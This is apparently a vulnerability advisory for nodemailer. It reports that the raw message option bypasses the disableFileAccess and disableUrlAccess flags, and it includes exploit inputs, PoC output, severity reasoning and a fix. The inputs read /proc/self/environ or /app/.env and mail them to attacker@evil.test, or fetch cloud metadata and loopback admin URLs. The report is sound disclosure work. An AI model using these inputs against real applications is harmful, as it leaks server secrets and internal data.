Message-level raw option bypasses disableFileAccess / disableUrlAccess, enabling arbitrary file read and full-response SSRF in the sent message
- Target: nodemailer/nodemailer, npm
nodemailer v9.0.0 (HEAD 4e58450eb490e5097a74b2b2cce35a8d9e21856e)
- Verdict: CONFIRMED (local PoC, no network)
Summary
Nodemailer exposes disableFileAccess and disableUrlAccess so an application that passes
untrusted message data to the library can forbid that data from reading local files or
fetching URLs. Every attachment, alternative, html/text/watchHtml/amp and icalEvent
content node honors these flags. The message-level raw option does not.
MailComposer.compile() builds the root MIME node for a raw message without threading the
two flags, so a raw: { path: '/etc/passwd' } or raw: { href: 'http://169.254.169.254/…' }
message is read / fetched anyway, and the file or HTTP-response bytes become the actual
message that is sent by every transport (SMTP, SES, sendmail, stream, JSON). An actor whose
input the application intended to sandbox therefore obtains arbitrary local-file disclosure and
a full-response SSRF primitive, delivered to a recipient the same actor can choose.
This is the same vulnerability class as the already-published jsonTransport advisory
GHSA-wqvq-jvpq-h66f, but a distinct code path (raw root node, not normalize()), and
strictly higher impact: the jsonTransport bug only affected the locally-returned JSON, whereas
this affects the delivered RFC822 message for all transports.
Affected component
Reachability gate (hop-by-hop)
- Source. Application calls
transporter.sendMail({ raw: <userControlled> , to: <userControlled> })
with disableFileAccess: true and/or disableUrlAccess: true configured on the transporter
(forced onto mail.data in lib/mailer/mail-message.js:36-40) or per message. This is the
exact scenario the flags exist for — the same precondition under which GHSA-wqvq-jvpq-h66f was
accepted.
- Guard — the access flags. For attachments the flag is enforced: a node created by
_createContentNode carries disableFileAccess, so _getStream throws EFILEACCESS.
Bypass: the raw branch (compile():34-35) never sets the flag on its node, so
this.disableFileAccess === false and the guard at mime-node:985 / :999 is skipped.
There is no other validation between mail.raw and the read; raw content shapes
({path}, {href}, stream, string, buffer) are accepted as-is by setRaw/_getStream.
- Sink.
fs.createReadStream(content.path) (file disclosure) or
nmfetch(content.href, …) (SSRF). The resulting bytes are emitted as the message body by
createReadStream(), which every transport pipes to its destination
(smtp-transport:233, smtp-pool/pool-resource:208, ses-transport:96, sendmail-transport:184,
stream-transport:67).
No guard blocks the chain; the only guard (the access flags) is structurally absent on this node.
Root cause
Inconsistent enforcement: the access policy is applied per-MimeNode via constructor options and
must be re-passed at every node creation. The raw-message shortcut in compile() omits it,
while all five other node builders include it. The flags are therefore enforced for every content
type except the one that lets the caller supply a complete message body by path/URL.
Exploit path
Application that sandboxes untrusted mail input (disableFileAccess/disableUrlAccess set):
- Untrusted actor supplies
raw: { path: '/proc/self/environ' } (or any server file:
/app/.env, key material, etc.) and to: attacker@evil.test.
compile() builds the raw root node without the flags; the transport reads the file and sends
its contents as the message → arbitrary server-file exfiltration to an attacker-chosen mailbox.
- Alternatively
raw: { href: 'http://127.0.0.1:8080/admin' } or a cloud metadata URL →
Nodemailer fetches it server-side and delivers the full response body in the email →
full-response SSRF (no blind-channel limitation).
Impact
- Confidentiality (High): arbitrary local file read disclosed in the outgoing message;
full-response SSRF to internal/metadata endpoints, also disclosed in the message.
- Integrity (Low): attacker-fetched/file content is injected into the delivered mail.
- The two protective flags an application relies on to contain untrusted input are silently
ineffective for
raw.
Preconditions
The application (a) passes disableFileAccess and/or disableUrlAccess (the documented sandboxing
flags) and (b) lets untrusted input influence the raw field (and, for maximal disclosure, to).
No other configuration is required; all bundled transports are affected. This mirrors the accepted
precondition of GHSA-wqvq-jvpq-h66f.
Severity
- AV — message data routinely originates over the network in the apps these flags protect.
- AC — a single crafted
raw object; deterministic.
- PR — the actor is a user whose input the app already treats as untrusted (the reason the
flags are set); not fully anonymous in the typical deployment.
- UI — no victim interaction.
- S — impact within Nodemailer's process scope.
- C — arbitrary file read and full-response SSRF, both delivered to an attacker-chosen
recipient. (The sibling jsonTransport advisory used C:L because its leak stayed in locally-returned
JSON; here the bytes leave the system in the sent message, so C:H is warranted.)
- I — attacker injects fetched/file bytes into the outgoing message.
- A.
Note: if a deployment fixes the recipient (
to not attacker-controlled) the disclosure channel
narrows and the rating degrades toward the sibling's Medium; the High rating reflects the
reasonable worst case where raw and to are both untrusted.
Adversarial re-read (attempts to refute)
- "
raw content is by-design trusted, so the flags shouldn't apply." Rejected: every other
content path (attachments, alternatives, html/text, icalEvent) honors the flags, and the
maintainer already accepted GHSA-wqvq-jvpq-h66f for exactly this "untrusted input + flag set"
model. The asymmetry — attachment {path} is blocked but raw:{path} is not — is the bug, and
the PoC's CONTROL case proves the flag is otherwise effective on the same file.
- "The raw node inherits the flags via rootNode." Rejected by code and by PoC:
compile():35
constructs the node with { newline } only; MimeNode constructor sets
this.disableFileAccess = !!options.disableFileAccess → false; rootNode is itself; no
inheritance exists.
- "The PoC leaks for an unrelated reason." Rejected: the CONTROL message (
attachments:[{path}],
same file, same transporter) returns EFILEACCESS; only the raw:{path} message leaks. The
sentinel nonce exists solely in the temp file; the URL nonce is generated server-side and is only
obtainable by an actual fetch. Both observables are uniquely bound to the bypass.
- "Maybe only jsonTransport (already reported) is affected." Rejected: the PoC uses
streamTransport and the root cause is in MailComposer.compile() (mailer:188), shared by all
transports; jsonTransport is a different (already-fixed) path.
I could not find any guard that blocks the chain; the finding survives.
Proof of concept (safe, benign)
findings/nodemailer/raw/poc-raw-fileaccess-bypass.js — local, no network egress (loopback only),
no destructive action. Output:
[CONTROL] attachment path with disableFileAccess: BLOCKED (EFILEACCESS) — flag works here
[ATTACK] raw:{path} with disableFileAccess=true: BYPASSED — sentinel file CONTENT present in message
[ATTACK] raw:{href} with disableUrlAccess=true (loopback server): BYPASSED — fetched body present (SSRF)
VERDICT: CONFIRMED
Run: node findings/nodemailer/raw/poc-raw-fileaccess-bypass.js (exit 0 = confirmed).
Remediation
Thread the access policy onto the raw root node, exactly as the other builders do:
if (this.mail.raw) {
this.message = new MimeNode('message/rfc822', {
newline: this.mail.newline,
disableFileAccess: this.mail.disableFileAccess,
disableUrlAccess: this.mail.disableUrlAccess
}).setRaw(this.mail.raw);
}
(Defense in depth: setRaw/_getStream could also refuse {path}/{href} raw content when either
flag is set, regardless of how the node was constructed.) Add a regression test asserting that
raw:{path} and raw:{href} reject with EFILEACCESS/EURLACCESS when the flags are set, mirroring
the attachment tests.